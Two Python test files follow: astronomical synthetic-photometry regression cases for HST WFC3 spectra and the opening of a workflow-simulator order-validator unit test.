self.spectrum="spec(earthshine.fits)*0.5+rn(spec(Zodi.fits),band(johnson,v),22.7,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=True self.etcid="['uvsp1006.tab:5000', 'uvsp1006.tab:5001', 'uvsp1006.tab:5002', 'uvsp1006.tab:5003', 'uvsp1006.tab:5004', 'uvsp1006.tab:5005', 'uvsp1006.tab:5006', 'uvsp1006.tab:5007', 'uvsp1006.tab:5008', 'uvsp1006.tab:5009', 'uvsp1006.tab:5010', 'uvsp1006.tab:5011', 'uvsp1006.tab:5012', 'uvsp1006.tab:5013', 'uvsp1006.tab:5014', 'uvsp1006.tab:5015', 'uvsp1006.tab:5016', 'uvsp1006.tab:5017', 'uvsp1006.tab:5018', 'uvsp1006.tab:5019', 'uvsp1006.tab:5020', 'uvsp1006.tab:5021', 'uvsp1006.tab:5022', 'uvsp1006.tab:5023', 'uvsp1006.tab:5024', 'uvsp1006.tab:5025', 'uvsp1006.tab:5026', 'uvsp1006.tab:5027', 'uvsp1006.tab:5028', 'uvsp1006.tab:5029', 'uvsp1006.tab:5030', 'uvsp1006.tab:5031', 'uvsp1006.tab:5032', 'uvsp1006.tab:5033', 'uvsp1006.tab:5034', 'uvsp1006.tab:5035', 'uvsp1006.tab:5036', 'uvsp1006.tab:5037', 'uvsp1006.tab:5038', 'uvsp1006.tab:5039', 'uvsp1006.tab:5040', 'uvsp1006.tab:5041', 'uvsp1006.tab:5042', 'uvsp1006.tab:5043', 'uvsp1006.tab:5044', 'uvsp1006.tab:5045', 'uvsp1006.tab:5046', 'uvsp1006.tab:5047', 'uvsp1006.tab:5048', 'uvsp1006.tab:5049', 'uvsp1006.tab:5050', 'uvsp1006.tab:5051', 'uvsp1006.tab:5052', 'uvsp1006.tab:5053', 'uvsp1006.tab:5054', 'uvsp1006.tab:5055', 'uvsp1006.tab:5056', 'uvsp1006.tab:5057', 'uvsp1006.tab:5058', 'uvsp1006.tab:5059', 'uvsp1006.tab:5060', 'uvsp1006.tab:5061', 'uvsp1006.tab:5062', 'uvsp1006.tab:5063', 'uvsp1006.tab:5064', 'uvsp1006.tab:5065', 'uvsp1006.tab:5066', 'uvsp1006.tab:5067', 'uvsp1006.tab:5068', 'uvsp1006.tab:5069', 'uvsp1006.tab:5070', 'uvsp1006.tab:5071', 'uvsp1006.tab:5072', 'uvsp1006.tab:5073', 'uvsp1006.tab:5074', 'uvsp1006.tab:5075', 'uvsp1006.tab:5076', 'uvsp1006.tab:5077', 'uvsp1006.tab:5078', 'uvsp1006.tab:5079', 'uvsp1006.tab:5080', 'uvsp1006.tab:5081', 'uvsp1006.tab:5082', 'uvsp1006.tab:5083', 'uvsp1006.tab:5084', 'uvsp1006.tab:5085', 'uvsp1006.tab:5086', 'uvsp1006.tab:5087', 'uvsp1006.tab:5088', 'uvsp1006.tab:5089', 'uvsp1006.tab:5090', 'uvsp1006.tab:5091', 'uvsp1006.tab:5092', 'uvsp1006.tab:5093', 'uvsp1006.tab:5094', 'uvsp1006.tab:5095', 'uvsp1006.tab:5096', 'uvsp1006.tab:5097', 'uvsp1006.tab:5098', 'uvsp1006.tab:5099', 'uvsp1006.tab:5100', 'uvsp1006.tab:5101', 'uvsp1006.tab:5102', 'uvsp1006.tab:5103', 'uvsp1006.tab:5104', 'uvsp1006.tab:5105', 'uvsp1006.tab:5106', 'uvsp1006.tab:5107', 'uvsp1006.tab:5108', 'uvsp1006.tab:5109', 'uvsp1006.tab:5110', 'uvsp1006.tab:5111', 'uvsp1006.tab:5112', 'uvsp1006.tab:5113', 'uvsp1006.tab:5114', 'uvsp1006.tab:5115', 'uvsp1006.tab:5116', 'uvsp1006.tab:5117', 'uvsp1006.tab:5118', 'uvsp1006.tab:5119', 'uvsp1006.tab:5120', 'uvsp1006.tab:5121', 'uvsp1006.tab:5122', 'uvsp1006.tab:5123', 'uvsp1006.tab:5124', 'uvsp1006.tab:5125', 'uvsp1006.tab:5126', 'uvsp1006.tab:5127', 'uvsp1006.tab:5128', 'uvsp1006.tab:5129', 'uvsp1006.tab:5130', 'uvsp1006.tab:5131', 'uvsp1006.tab:5132', 'uvsp1006.tab:5133', 'uvsp1006.tab:5134', 'uvsp1006.tab:5135', 'uvsp1006.tab:5136', 'uvsp1006.tab:5137', 'uvsp1006.tab:5138', 'uvsp1006.tab:5139', 'uvsp1006.tab:5140', 'uvsp1006.tab:5141', 'uvsp1006.tab:5142', 'uvsp1006.tab:5143', 'uvsp1006.tab:5144', 'uvsp1006.tab:5145', 'uvsp1006.tab:5146', 'uvsp1006.tab:5147', 'uvsp1006.tab:5148', 'uvsp1006.tab:5149']" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase1(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(icat(k93models,9230,0.0,4.1),band(johnson,v),23.0,vegamag)" self.subset=True self.etcid="['uvsp1006.tab:5000', 'uvsp1006.tab:5002', 'uvsp1006.tab:5003', 'uvsp1006.tab:5004', 'uvsp1006.tab:5005', 'uvsp1006.tab:5007', 'uvsp1006.tab:5008', 'uvsp1006.tab:5009', 'uvsp1006.tab:5010', 'uvsp1006.tab:5012', 'uvsp1006.tab:5013', 'uvsp1006.tab:5014', 'uvsp1006.tab:5015', 'uvsp1006.tab:5017', 'uvsp1006.tab:5018', 'uvsp1006.tab:5019', 'uvsp1006.tab:5020', 'uvsp1006.tab:5022', 'uvsp1006.tab:5023', 'uvsp1006.tab:5024', 'uvsp1006.tab:5025', 'uvsp1006.tab:5027', 'uvsp1006.tab:5028', 'uvsp1006.tab:5029', 'uvsp1006.tab:5030', 'uvsp1006.tab:5031', 'uvsp1006.tab:5032', 'uvsp1006.tab:5033', 'uvsp1006.tab:5034', 'uvsp1006.tab:5035', 'uvsp1006.tab:5036', 'uvsp1006.tab:5037', 'uvsp1006.tab:5038', 'uvsp1006.tab:5039', 'uvsp1006.tab:5040', 'uvsp1006.tab:5041', 'uvsp1006.tab:5042', 'uvsp1006.tab:5043', 'uvsp1006.tab:5044', 'uvsp1006.tab:5045', 'uvsp1006.tab:5046', 'uvsp1006.tab:5047', 'uvsp1006.tab:5048', 'uvsp1006.tab:5049', 'uvsp1006.tab:5050', 'uvsp1006.tab:5051', 'uvsp1006.tab:5052', 'uvsp1006.tab:5053', 'uvsp1006.tab:5054', 'uvsp1006.tab:5055', 'uvsp1006.tab:5056', 'uvsp1006.tab:5057', 'uvsp1006.tab:5058', 'uvsp1006.tab:5059', 'uvsp1006.tab:5060', 'uvsp1006.tab:5061', 'uvsp1006.tab:5062', 'uvsp1006.tab:5063', 'uvsp1006.tab:5064', 'uvsp1006.tab:5065', 'uvsp1006.tab:5066', 'uvsp1006.tab:5067', 'uvsp1006.tab:5068', 'uvsp1006.tab:5069', 'uvsp1006.tab:5070', 'uvsp1006.tab:5071', 'uvsp1006.tab:5072', 'uvsp1006.tab:5073', 'uvsp1006.tab:5074', 'uvsp1006.tab:5075', 'uvsp1006.tab:5076', 'uvsp1006.tab:5077', 'uvsp1006.tab:5078', 'uvsp1006.tab:5079', 'uvsp1006.tab:5080', 'uvsp1006.tab:5081', 'uvsp1006.tab:5082', 'uvsp1006.tab:5083', 'uvsp1006.tab:5084', 'uvsp1006.tab:5085', 'uvsp1006.tab:5086', 'uvsp1006.tab:5087', 'uvsp1006.tab:5088', 'uvsp1006.tab:5089', 'uvsp1006.tab:5090', 'uvsp1006.tab:5091', 'uvsp1006.tab:5092', 'uvsp1006.tab:5093', 'uvsp1006.tab:5094', 'uvsp1006.tab:5095', 'uvsp1006.tab:5096', 'uvsp1006.tab:5097', 'uvsp1006.tab:5098', 'uvsp1006.tab:5099', 'uvsp1006.tab:5100', 'uvsp1006.tab:5101']" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase2(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(icat(k93models,9230,0.0,4.1),band(johnson,v),18.0,vegamag)" self.subset=False self.etcid="['uvsp1006.tab:5001', 'uvsp1006.tab:5006', 'uvsp1006.tab:5011', 'uvsp1006.tab:5016', 'uvsp1006.tab:5021', 'uvsp1006.tab:5026']" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase4(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(icat(k93models,9230,0.0,4.1),band(johnson,v),17.0,vegamag)" self.subset=False self.etcid="['uvsp1006.tab:5102', 'uvsp1006.tab:5103', 'uvsp1006.tab:5104', 'uvsp1006.tab:5105', 'uvsp1006.tab:5106', 'uvsp1006.tab:5107', 'uvsp1006.tab:5108', 'uvsp1006.tab:5109', 'uvsp1006.tab:5110', 'uvsp1006.tab:5111', 'uvsp1006.tab:5112', 'uvsp1006.tab:5113', 'uvsp1006.tab:5114', 'uvsp1006.tab:5115', 'uvsp1006.tab:5116', 'uvsp1006.tab:5117', 'uvsp1006.tab:5118', 'uvsp1006.tab:5119', 'uvsp1006.tab:5120', 'uvsp1006.tab:5121', 'uvsp1006.tab:5122', 'uvsp1006.tab:5123', 'uvsp1006.tab:5124', 'uvsp1006.tab:5125']" self.setglobal(__file__) self.runpy() class calcspecCase127(basecase.calcspecCase): def setUp(self): self.obsmode="None" self.spectrum="icat(k93models,30000,0.0,4.0)" self.subset=False self.etcid="None" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase5(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(icat(k93models,30000,0.0,4.0)*ebmvx(0.04,gal1),band(johnson,b),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5126" self.setglobal(__file__) self.runpy() class calcspecCase128(basecase.calcspecCase): def setUp(self): self.obsmode="None" self.spectrum="icat(k93models,25400,0.0,3.9)" self.subset=False self.etcid="None" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase6(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(icat(k93models,25400,0.0,3.9)*ebmvx(0.08,gal1),band(johnson,b),23.0,vegamag)" self.subset=False self.etcid="None" self.setglobal(__file__) self.runpy() class calcspecCase129(basecase.calcspecCase): def setUp(self): self.obsmode="None" self.spectrum="icat(k93models,18700,0.0,3.9)" self.subset=False self.etcid="None" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase7(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(icat(k93models,18700,0.0,3.9)*ebmvx(0.12,gal3),band(johnson,b),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5128" self.setglobal(__file__) self.runpy() class calcspecCase130(basecase.calcspecCase): def setUp(self): self.obsmode="None" self.spectrum="icat(k93models,15400,0.0,3.9)" self.subset=False self.etcid="None" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase8(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(icat(k93models,15400,0.0,3.9)*ebmvx(0.16,smc),band(johnson,b),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5129" self.setglobal(__file__) self.runpy() class calcspecCase131(basecase.calcspecCase): def setUp(self): self.obsmode="None" self.spectrum="icat(k93models,11900,0.0,4.0)" self.subset=False self.etcid="None" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase9(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(icat(k93models,11900,0.0,4.0)*ebmvx(0.2,lmc),band(johnson,b),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5130" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase10(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(icat(k93models,9230,0.0,4.1)*ebmvx(0.24,xgal),band(johnson,b),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5131" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase11(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_1.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.04,gal1)" self.subset=True self.etcid="uvsp1006.tab:5132" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase12(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_1.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.08,gal1)" self.subset=False self.etcid="None" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase13(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_2.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.12,gal3)" self.subset=True self.etcid="uvsp1006.tab:5134" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase14(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_2.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.16,smc)" self.subset=False self.etcid="uvsp1006.tab:5135" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase15(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_3.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.2,lmc)" self.subset=True self.etcid="uvsp1006.tab:5136" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase16(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_4.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.24,xgal)" self.subset=False self.etcid="uvsp1006.tab:5137" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase17(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_5.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.04,gal1)" self.subset=True self.etcid="uvsp1006.tab:5138" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase18(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_5.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.08,gal1)" self.subset=False self.etcid="None" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase19(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_6.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.12,gal3)" self.subset=False self.etcid="uvsp1006.tab:5140" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase20(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_10.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.16,smc)" self.subset=False self.etcid="None" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase21(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_11.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.2,lmc)" self.subset=False self.etcid="None" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase22(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_12.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.24,xgal)" self.subset=False self.etcid="None" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase23(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_9.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.04,gal1)" self.subset=False self.etcid="uvsp1006.tab:5144" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase24(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(spec(/grp/hst/cdbs//grid/pickles/dat_uvk/pickles_uk_14.fits),band(cousins,i),23.0,vegamag)*ebmvx(0.08,gal1)" self.subset=False self.etcid="None" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase25(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(z(spec(/grp/hst/cdbs//calspec/g191b2b_mod_004.fits),0.05),band(johnson,b),23.0,vegamag)" self.subset=True self.etcid="uvsp1006.tab:5146" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase26(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(z(spec(/grp/hst/cdbs//calspec/gd153_mod_004.fits),0.1),band(johnson,b),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5147" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase27(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(z(spec(/grp/hst/cdbs//calspec/gd71_mod_005.fits),0.15),band(johnson,b),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5148" self.setglobal(__file__) self.runpy() class calcspecCase133(basecase.calcspecCase): def setUp(self): self.obsmode="None" self.spectrum="bb(10000)" self.subset=True self.etcid="None" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase28(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(bb(10000),band(johnson,u),23.0,vegamag)" self.subset=True self.etcid="uvsp1006.tab:5149" self.setglobal(__file__) self.runpy() class countrateCase3(basecase.countrateCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)*0.5+rn(spec(Zodi.fits),band(johnson,v),22.1,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5150" self.setglobal(__file__) self.runpy() class calcphotCase3(basecase.calcphotCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)*0.5+rn(spec(Zodi.fits),band(johnson,v),22.1,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5150" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase29(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(bb(10000),band(johnson,r),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5150" self.setglobal(__file__) self.runpy() class countrateCase4(basecase.countrateCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)*0.5+rn(spec(Zodi.fits),band(johnson,v),23.3,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5151" self.setglobal(__file__) self.runpy() class calcphotCase4(basecase.calcphotCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)*0.5+rn(spec(Zodi.fits),band(johnson,v),23.3,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5151" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase30(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(bb(10000),band(johnson,i),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5151" self.setglobal(__file__) self.runpy() class countrateCase5(basecase.countrateCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)*0.5+rn(spec(Zodi.fits),band(johnson,v),21.7,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5152" self.setglobal(__file__) self.runpy() class calcphotCase5(basecase.calcphotCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)*0.5+rn(spec(Zodi.fits),band(johnson,v),21.7,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5152" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase31(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(bb(10000),band(johnson,j),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5152" self.setglobal(__file__) self.runpy() class countrateCase6(basecase.countrateCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)*0.5+rn(spec(Zodi.fits),band(johnson,v),22.424602593467696,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5153" self.setglobal(__file__) self.runpy() class calcphotCase6(basecase.calcphotCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)*0.5+rn(spec(Zodi.fits),band(johnson,v),22.424602593467696,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5153" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase32(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(bb(10000),band(johnson,k),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5153" self.setglobal(__file__) self.runpy() class countrateCase7(basecase.countrateCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)*0.5+spec(Zodi.fits)*0.5+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5154" self.setglobal(__file__) self.runpy() class calcphotCase7(basecase.calcphotCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)*0.5+spec(Zodi.fits)*0.5+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5154" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase33(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(bb(10000),band(cousins,r),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5154" self.setglobal(__file__) self.runpy() class calcspecCase139(basecase.calcspecCase): def setUp(self): self.obsmode="None" self.spectrum="pl(4000.0,-2.0,flam)" self.subset=False self.etcid="None" self.setglobal(__file__) self.runpy() class countrateCase8(basecase.countrateCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)*2.0+rn(spec(Zodi.fits),band(johnson,v),22.7,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5155" self.setglobal(__file__) self.runpy() class calcphotCase8(basecase.calcphotCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)*2.0+rn(spec(Zodi.fits),band(johnson,v),22.7,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5155" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase34(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(pl(4000.0,-2.0,flam),band(bessell,h),23.0,vegamag)" self.subset=True self.etcid="uvsp1006.tab:5155" self.setglobal(__file__) self.runpy() class countrateCase9(basecase.countrateCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)+rn(spec(Zodi.fits),band(johnson,v),22.7,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5156" self.setglobal(__file__) self.runpy() class calcphotCase9(basecase.calcphotCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="spec(earthshine.fits)+rn(spec(Zodi.fits),band(johnson,v),22.7,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5156" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase35(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(pl(4000.0,-2.0,flam),band(Bessell,j),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5156" self.setglobal(__file__) self.runpy() class countrateCase10(basecase.countrateCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="rn(spec(Zodi.fits),band(johnson,v),22.7,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5157" self.setglobal(__file__) self.runpy() class calcphotCase10(basecase.calcphotCase): def setUp(self): self.obsmode="wfc3,uvis1,g280,bkg" self.spectrum="rn(spec(Zodi.fits),band(johnson,v),22.7,vegamag)+(spec(el1215a.fits)+spec(el1302a.fits)+spec(el1356a.fits)+spec(el2471a.fits))" self.subset=False self.etcid="uvsp1006.tab:5157" self.setglobal(__file__) self.runpy() class SpecSourcerateSpecCase36(basecase.SpecSourcerateSpecCase): def setUp(self): self.obsmode="wfc3,uvis1,g280" self.spectrum="rn(pl(4000.0,-2.0,flam),band(bessell,k),23.0,vegamag)" self.subset=False self.etcid="uvsp1006.tab:5157" self.setglobal(__file__) self.runpy() if __name__ == '__main__': if 'debug' in sys.argv: testutil.debug(__name__) else: testutil.testall(__name__,2) #calcspec:141 - 133 dup =8 #thermback:0 - 0 dup =0 #calcphot:10 - 1 dup =9 #countrate:10 - 1 dup =9 #SpecSourcerateSpec:36 - 1 dup =35

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null

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9

eeff1f2641f9291e1c4a5055ecf8ab4773f633e7

9,258

py

Python

scripts/validation/order_validator_test.py

malawski/cloudworkflowsimulator

12b2f30c7f72c3e52a5c53d86fd39b319adf71c8

[ "Apache-2.0" ]

22

2015-05-28T10:08:46.000Z

2021-11-01T12:47:16.000Z

scripts/validation/order_validator_test.py

AYUSHMIT/cloudworkflowsimulator

12b2f30c7f72c3e52a5c53d86fd39b319adf71c8

[ "Apache-2.0" ]

46

2015-01-14T18:23:11.000Z

2017-07-18T02:26:48.000Z

scripts/validation/order_validator_test.py

AYUSHMIT/cloudworkflowsimulator

12b2f30c7f72c3e52a5c53d86fd39b319adf71c8

[ "Apache-2.0" ]

18

2015-02-11T17:48:20.000Z

2021-11-01T12:47:17.000Z

import unittest from log_parser.execution_log import TransferLog from validation import workflow, order_validator from validation.parsed_log_loader import TaskLog class OrderValidatorTest(unittest.TestCase): # /-> child1 # parent | # \-> child2 def _prepare_parent_child_dag(self): parent_task = workflow.Task('parent', 10.0) child1_task = workflow.Task('child1', 2.0) child2_task = workflow.Task('child2', 3.0) dag_builder = workflow.DagBuilder() dag_builder.add_task(parent_task) dag_builder.add_task(child1_task) dag_builder.add_task(child2_task) dag_builder.add_edge('parent', 'child1') dag_builder.add_edge('parent', 'child2') return dag_builder.build() # before --> (transferred.txt) --> after def _prepare_file_transfer_dag(self): before_task = workflow.Task('before', 10.0) after_task = workflow.Task('after', 10.0) transferred_file = workflow.File('transferred.txt', 1000) dag_builder = workflow.DagBuilder() dag_builder.add_task(before_task) dag_builder.add_task(after_task) dag_builder.add_file(transferred_file) dag_builder.add_edge('before', 'after') dag_builder.add_output_file('before', 'transferred.txt') dag_builder.add_input_file('after', 'transferred.txt') return dag_builder.build() def test_should_pass_when_order_is_correct(self): dag = self._prepare_parent_child_dag() dag.id = '1' tasks = [ TaskLog(id='parent_1', workflow='1', task_id='parent', started=0.0, finished=10.0, vm=1, result='OK'), TaskLog(id='child1_1', workflow='1', task_id='child1', started=11.0, finished=13.0, vm=1, result='OK'), TaskLog(id='child2_1', workflow='1', task_id='child2', started=12.0, finished=15.0, vm=2, result='OK')] result = order_validator.validate(dag, tasks) self.assertTrue(result.is_valid) self.assertListEqual([], result.errors) def test_should_fail_if_any_following_task_was_finished_before(self): dag = self._prepare_parent_child_dag() 